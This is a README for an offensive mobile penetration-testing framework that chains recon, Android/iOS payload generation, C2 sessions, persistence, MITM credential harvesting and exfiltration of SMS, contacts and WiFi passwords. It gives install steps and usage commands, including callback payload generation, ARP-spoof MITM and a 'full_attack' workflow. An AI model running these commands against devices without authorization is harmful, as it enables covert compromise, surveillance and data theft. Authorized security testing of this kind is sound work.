A modular mobile security assessment framework for authorized penetration testing and Android security research.
Reconnaissance → Payload → Delivery → C2 → PrivEsc → Persistence → Exfiltration → MITM → Automation → Reporting
Legal Disclaimer APF is intended exclusively for authorized penetration testing, academic research, and security education on devices you own or have explicit written permission to test. Unauthorized use is illegal and unethical. The author assumes no liability for misuse.
APF is a 13-module Python toolkit covering the full lifecycle of an Android and iOS security assessment. Each module is self-contained, independently usable, and chainable through the built-in YAML workflow engine.
APF [192.168.1.8/24] > use recon
APF::recon [192.168.1.8/24] > set subnet 192.168.1.0/24
APF::recon [192.168.1.8/24] > run
✓ Interactive security console — tab-completion, persistent history, set/show options
✓ Modular architecture — 13 independent, chainable modules
✓ Android 12+ and iOS (jailbroken) support throughout
✓ YAML workflow engine — full-chain automation from recon to report
✓ Workspace management — isolated evidence per engagement
✓ Structured JSON output from every module
✓ Dark-themed HTML/PDF/JSON/Markdown reports
✓ Root-aware — every module degrades gracefully without root
✓ Session management — persistent C2 session registry
✓ Debian package — FHS-compliant, installs via apt
| # | Module | Purpose |
|---|---|---|
| 1 | recon |
Network & device fingerprinting, ADB enumeration |
| 2 | payload |
APK/binary payload generation & signing |
| 3 | install |
ADB install, HTTP delivery, SSH deploy (iOS) |
| 4 | c2 |
MSF listener, HTTP C2, session manager |
| 5 | privesc |
Root detection, misconfig scan, CVE exploits |
| 6 | persist |
8-layer persistence mechanisms |
| 7 | exfil |
SMS, contacts, WiFi passwords, browser data |
| 8 | mitm |
ARP/DNS spoof, SSL intercept, credential harvest |
| 9 | auto |
YAML workflow engine, scheduler, MSF RC builder |
| 10 | report |
HTML/PDF/JSON/Markdown report generation |
| 11 | ios |
iOS binary payload + SSH deploy + LaunchDaemon |
| 12 | c2apk |
Minimal Java HTTP C2 APK — Android 14 compatible |
| 13 | payloads |
List all Android + iOS payload types |
Requirements: Linux (Kali 2023+ recommended), Python 3.10+
git clone https://github.com/UsamaMatrix/AndroidPentest-Framework.git
cd AndroidPentest-Framework
sudo bash install.shThe installer handles everything: system packages, Metasploit check, apktool, Python venv, dependencies, apf command, and man page.
# Download from Releases
sudo apt install ./apf_1.2.0_amd64.debdocker pull ghcr.io/usamamatrix/androidpentest-framework:latest
# Interactive console
docker run -it --rm --network host --privileged \
ghcr.io/usamamatrix/androidpentest-framework:latest
# Run a module directly
docker run -it --rm --network host \
ghcr.io/usamamatrix/androidpentest-framework:latest \
recon --subnet 192.168.1.0/24apf --version
apf --help
man apf# Open interactive console
apf
# Run a module directly
apf recon --subnet 192.168.1.0/24
apf payload --lhost 192.168.1.8 --lport 4444
apf mitm --target 192.168.1.50 --gateway 192.168.1.1 --iface eth0
apf report --format html
# Run a full workflow
apf auto workflow --file workflows/full_attack.yaml \
--var lhost=192.168.1.8 --var lport=4444APF [192.168.1.8/24] > use recon
┌────────────────────────────────────┐
│ MODULE ACTIVATED │
│ Name : recon │
│ Phase : PHASE 1 - Discovery │
│ Status : READY │
└────────────────────────────────────┘
APF::recon [192.168.1.8/24] > set subnet 192.168.1.0/24
APF::recon [192.168.1.8/24] > run
22:47:50 ◉ recon --subnet 192.168.1.0/24
22:47:51 + scanning subnet 192.168.1.0/24
22:47:53 ✓ found 3 devices
| Command | Description |
|---|---|
use <module> |
Select a module |
run [args] |
Execute the active module |
set <key> <value> |
Set a module option |
show options |
Display current options |
show modules |
List all modules |
sessions |
Show active C2 sessions |
workspace create <name> |
Create a new workspace |
payloads [android|ios] |
List payload types |
help |
Show all commands |
name: "Full Assessment"
variables:
lhost: "192.168.1.8"
lport: 4444
steps:
- name: recon_scan
module: recon
params:
subnet: "192.168.1.0/24"
- name: generate_payload
module: payload
params:
lhost: "{{ lhost }}"
lport: "{{ lport }}"apf auto workflow --file workflows/full_attack.yaml| Requirement | Notes |
|---|---|
| Linux | Kali 2023+, Parrot OS, Ubuntu 22.04+ |
| Python 3.10+ | Installed automatically |
| ADB | Android Debug Bridge |
| Nmap | Network scanning |
| Metasploit | Optional — payload generation & listeners |
| Root / sudo | Required for MITM, ARP spoof, raw sockets |
| Path | Contents |
|---|---|
logs/<module>/ |
Timestamped JSON from every module run |
loot/<serial>/ |
Exfiltrated data — CSV per category |
payloads/generated/ |
Signed APKs, iOS binaries, listener RC files |
pcap/ |
Packet captures |
reports/report_<ts>/ |
HTML, PDF, JSON, Markdown, evidence |
[x] Interactive console
[x] Workspace system
[x] iOS payload support
[x] C2 APK builder (Android 14)
[x] YAML workflow engine
[x] Reporting engine
[x] Debian package
[ ] Plugin marketplace
[ ] Android application static analyser
[ ] CI/CD security workflow integration
[ ] Web UI dashboard
[ ] Additional CVE exploit modules
See CONTRIBUTING.md for the module development pattern, code style, and pull request checklist.
Report vulnerabilities privately — see SECURITY.md. Do not open public issues for security vulnerabilities.
MIT — see LICENSE.
Built for authorized security research and penetration testing.
Use responsibly. Test only what you own or have permission to test.